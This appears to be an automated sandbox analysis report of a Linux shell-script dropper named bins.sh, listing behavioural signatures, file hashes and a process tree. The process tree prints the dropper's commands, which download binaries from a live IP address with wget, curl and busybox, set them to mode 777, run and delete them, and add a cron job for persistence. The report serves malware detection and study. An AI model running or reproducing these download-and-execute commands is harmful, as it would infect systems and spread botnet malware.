Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18/11/2024, 06:37

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241118-hdgsjawkcl
  • SHA256 152f600ad8f342404a691907cd662de7a1335e4319ec9e34619075743b1ab319
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2204) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1475
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1476
        • /usr/bin/wget
          wget http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
          2⤵
          • Writes file to tmp directory
          PID:1477
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
          2⤵
          • Writes file to tmp directory
          PID:1482
        • /bin/chmod
          chmod 777 ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
          2⤵
          • File and Directory Permissions Modification
          PID:1483
        • /tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
          ./ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
          2⤵
          • Executes dropped EXE
          PID:1484
        • /bin/rm
          rm ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
          2⤵
            PID:1486
          • /usr/bin/wget
            wget http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
            2⤵
            • Writes file to tmp directory
            PID:1487
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
            2⤵
            • Writes file to tmp directory
            PID:1488
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
            2⤵
            • Writes file to tmp directory
            PID:1489
          • /bin/chmod
            chmod 777 pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
            2⤵
            • File and Directory Permissions Modification
            PID:1490
          • /tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
            ./pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
            2⤵
            • Executes dropped EXE
            PID:1491
          • /bin/rm
            rm pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
            2⤵
              PID:1493
            • /usr/bin/wget
              wget http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
              2⤵
              • Writes file to tmp directory
              PID:1494
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
              2⤵
              • Writes file to tmp directory
              PID:1503
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
              2⤵
              • Writes file to tmp directory
              PID:1504
            • /bin/chmod
              chmod 777 1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
              2⤵
              • File and Directory Permissions Modification
              PID:1505
            • /tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
              ./1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
              2⤵
              • Executes dropped EXE
              PID:1506
            • /bin/rm
              rm 1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
              2⤵
                PID:1508
              • /usr/bin/wget
                wget http://87.120.125.191/bins/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
                2⤵
                • Writes file to tmp directory
                PID:1509
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
                2⤵
                • Writes file to tmp directory
                PID:1510
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
                2⤵
                • Writes file to tmp directory
                PID:1511
              • /bin/chmod
                chmod 777 FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
                2⤵
                • File and Directory Permissions Modification
                PID:1512
              • /tmp/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
                ./FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
                2⤵
                • Executes dropped EXE
                PID:1513
              • /bin/rm
                rm FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
                2⤵
                  PID:1515
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
                  2⤵
                  • Writes file to tmp directory
                  PID:1516
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
                  2⤵
                  • Writes file to tmp directory
                  PID:1517
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
                  2⤵
                  • Writes file to tmp directory
                  PID:1518
                • /bin/chmod
                  chmod 777 YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1519
                • /tmp/YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
                  ./YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
                  2⤵
                  • Executes dropped EXE
                  PID:1520
                • /bin/rm
                  rm YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
                  2⤵
                    PID:1522
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY
                    2⤵
                    • Writes file to tmp directory
                    PID:1523
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY
                    2⤵
                    • Writes file to tmp directory
                    PID:1524
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY
                    2⤵
                    • Writes file to tmp directory
                    PID:1525
                  • /bin/chmod
                    chmod 777 74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1526
                  • /tmp/74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY
                    ./74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY
                    2⤵
                    • Executes dropped EXE
                    PID:1527
                  • /bin/rm
                    rm 74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY
                    2⤵
                      PID:1529
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty
                      2⤵
                      • Writes file to tmp directory
                      PID:1530
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty
                      2⤵
                      • Writes file to tmp directory
                      PID:1531
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty
                      2⤵
                      • Writes file to tmp directory
                      PID:1532
                    • /bin/chmod
                      chmod 777 bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1533
                    • /tmp/bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty
                      ./bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty
                      2⤵
                      • Executes dropped EXE
                      PID:1534
                    • /bin/rm
                      rm bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty
                      2⤵
                        PID:1536
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE
                        2⤵
                        • Writes file to tmp directory
                        PID:1537
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE
                        2⤵
                        • Writes file to tmp directory
                        PID:1538
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE
                        2⤵
                        • Writes file to tmp directory
                        PID:1539
                      • /bin/chmod
                        chmod 777 yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1540
                      • /tmp/yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE
                        ./yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE
                        2⤵
                        • Executes dropped EXE
                        PID:1541
                      • /bin/rm
                        rm yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE
                        2⤵
                          PID:1543
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI
                          2⤵
                          • Writes file to tmp directory
                          PID:1544
                        • /usr/bin/curl
                          curl -O http://87.120.125.191/bins/DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI
                          2⤵
                          • Writes file to tmp directory
                          PID:1545
                        • /bin/busybox
                          /bin/busybox wget http://87.120.125.191/bins/DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI
                          2⤵
                          • Writes file to tmp directory
                          PID:1546
                        • /bin/chmod
                          chmod 777 DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1547
                        • /tmp/DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI
                          ./DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:1548
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:1550
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:1551
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:1552
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:1553
                              • /bin/rm
                                rm DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI
                                2⤵
                                  PID:1555
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/w632oktGksWeaJHV6safGKrBv4oaSScKAM
                                  2⤵
                                    PID:1558

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA

                                      • Path /tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP

                                      74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY

                                      • Path /tmp/74V2hpkvKpfkUPsBBz42Etkd9iAcywFWqY
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP

                                      DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI

                                      • Path /tmp/DPiblf3Li3iexrA2ZlI3yKESOcNBKuWpOI
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP

                                      FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ

                                      • Path /tmp/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
                                      • Size 117KB
                                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                      • MD5 SHA1 SHA512 SSDEEP

                                      YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq

                                      • Path /tmp/YTS5LQ24CDhZG4WHABu6vFMuuC9MqwwLWq
                                      • Size 127KB
                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6

                                      • Path /tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
                                      • Size 119KB
                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                      • MD5 SHA1 SHA512 SSDEEP

                                      bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty

                                      • Path /tmp/bY3A8Xm785NJ7REO6U3btTtmkHGQ22F9Ty
                                      • Size 111KB
                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                      • MD5 SHA1 SHA512 SSDEEP

                                      pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB

                                      • Path /tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
                                      • Size 151KB
                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                      • MD5 SHA1 SHA512 SSDEEP

                                      yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE

                                      • Path /tmp/yP7Ggesc0abfmkmX340IkMT8MvzxEtCifE
                                      • Size 107KB
                                      • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                      • MD5 SHA1 SHA512 SSDEEP

                                      tmp.oZxHrG

                                      • Path /var/spool/cron/crontabs/tmp.oZxHrG
                                      • Size 210B
                                      • SHA256 1338a86a5e08f6e4cd0d92a997af6989190ded3e902f6e22c75ffd32dc2cf54f
                                      • MD5 SHA1 SHA512